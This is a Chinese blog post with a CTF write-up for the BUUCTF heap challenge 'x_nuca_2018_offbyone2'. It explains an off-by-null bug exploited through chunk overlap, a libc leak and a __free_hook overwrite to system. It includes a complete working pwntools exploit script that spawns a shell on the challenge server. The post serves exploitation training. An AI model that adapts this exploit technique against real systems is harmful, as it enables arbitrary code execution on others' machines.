BUUCTF:【x_nuca_2018_offbyone2】(off by null)

本文详细介绍了如何利用C语言程序中的Off-by-null漏洞,通过精心设计的堆块布局,修改堆内存状态,实现堆块重叠,进一步泄露libc地址并劫持free钩子为system,最终获取系统的shell。整个过程包括堆块分配、释放、溢出修改内存、泄露libc基址、二次堆块操作和触发system调用的步骤。
摘要由CSDN通过智能技术生成

在buu里挑了一道heap的题,是一道off by null 的题,比较容易,经典一些

例行检查:

程序为64位,且保护机制全开。

漏洞分析:

add()函数输入内容时,会在输入后多添加一个'\x00'字节,导致溢出一个'\x00'字节。

我们可以利用此漏洞来构造overlap,进而进行攻击。

利用思路和分析:

1.首先利用off by null 构造overlap,泄露libc地址

2.劫持free为system,free掉堆块中含有'/bin/sh'字符串时get shell

先进行堆块布局,通过bby null 漏洞去修改pre_inuse位为0,free后引起向上合并。

add(0x420,'AAAA')#释放后能进入unsortedbin中
add(0x88,'AAAA')
add(0xf8,'AAAA')

for i in range(7):        
	add(0xf0,'A')

for i in range(7):       //将0x100的tcachebin填满,导致再次free后申请的0xf0的堆块能向上合并
	free(i+3)

free(0)
free(1)
add(0x88,'A'*0x80 + p64(0x4c0))#再次将1号申请出来,利用 by null 改掉pre_inuse位,
free(2)#释放掉后引发向上合并
add(0x420,'A')#在把0号堆块申请出来,残留main_arena指针
show(0)

改掉pre_inuse前的堆:

改掉后:

 通过溢出改掉了pre_inuse位,free掉蓝色堆块后,就会形成overlap。

残留指针,通过show(),得到libc地址。

再次进行布局,劫持指针到free_hook,在将free_hook改成system,即可

add(0x180,'AA')

add(0x420,'B')#3    //再次构造堆块重叠,有大佬应该有更简单的方法,这里我感觉这几步有点麻烦了
add(0x88,'B')#4
add(0x1f8,'B')#5    //大家可以申请0x4f8的堆块,之后应该会省去下边的for循环

for i in range(7):   //和上一个循环目的一样,为了填满0x200的tcachesbin
	add(0x1f0,'AA')

for i in range(7):
	free(i+6)

free(3)
free(4)

add(0x88,'A'*0x80 + p64(0x4c0))
free(5)       //引发向上合并
free(3)
add(0x4b0,'A'*0x420 + p64(0) + p64(0x90) + p64(free_hook))  //劫持到free_hook指针

add(0x80,'/bin/sh\x00')   //此处可以将'/bin/sh'写入任意堆块中
add(0x80,p64(system))

free(4)

 此处可以看到,free_hook已经被改成了system,在次free会调用system,从而get shell.

完整exp:

from pwn import *
context.log_level='debug'
io = remote('node4.buuoj.cn',27238)
elf=ELF('./X-nuca_2018_offbyone2')
libc=ELF('./libc-2.27.so')

def choice(c):
	io.recvuntil(">>")
	io.sendline(str(c))

def add(size,content):
	choice(1)
	io.recvuntil(":")
	io.sendline(str(size))
	io.recvuntil(":")
	io.sendline(content)

def free(index):
	choice(2)
	io.recvuntil(":")
	io.sendline(str(index))

def show(index):
	choice(3)
	io.recvuntil(":")
	io.sendline(str(index))


add(0x420,'AAAA')
add(0x88,'AAAA')
add(0xf8,'AAAA')

for i in range(7):
	add(0xf0,'A')

for i in range(7):
	free(i+3)

free(0)
free(1)

add(0x88,'A'*0x80 + p64(0x4c0))
free(2)
add(0x420,'A')
show(0)

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(leak))
success(hex(libc_base))
success(hex(system))

add(0x180,'AA')

add(0x420,'B')#3
add(0x88,'B')#4
add(0x1f8,'B')#5

for i in range(7):
	add(0x1f0,'AA')

for i in range(7):
	free(i+6)

free(3)
free(4)

add(0x88,'A'*0x80 + p64(0x4c0))
free(5)
free(3)
add(0x4b0,'A'*0x420 + p64(0) + p64(0x90) + p64(free_hook))

add(0x80,'/bin/sh\x00')
add(0x80,p64(system))
gdb.attach(io)
free(4)

io.interactive()

 flag到手!!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值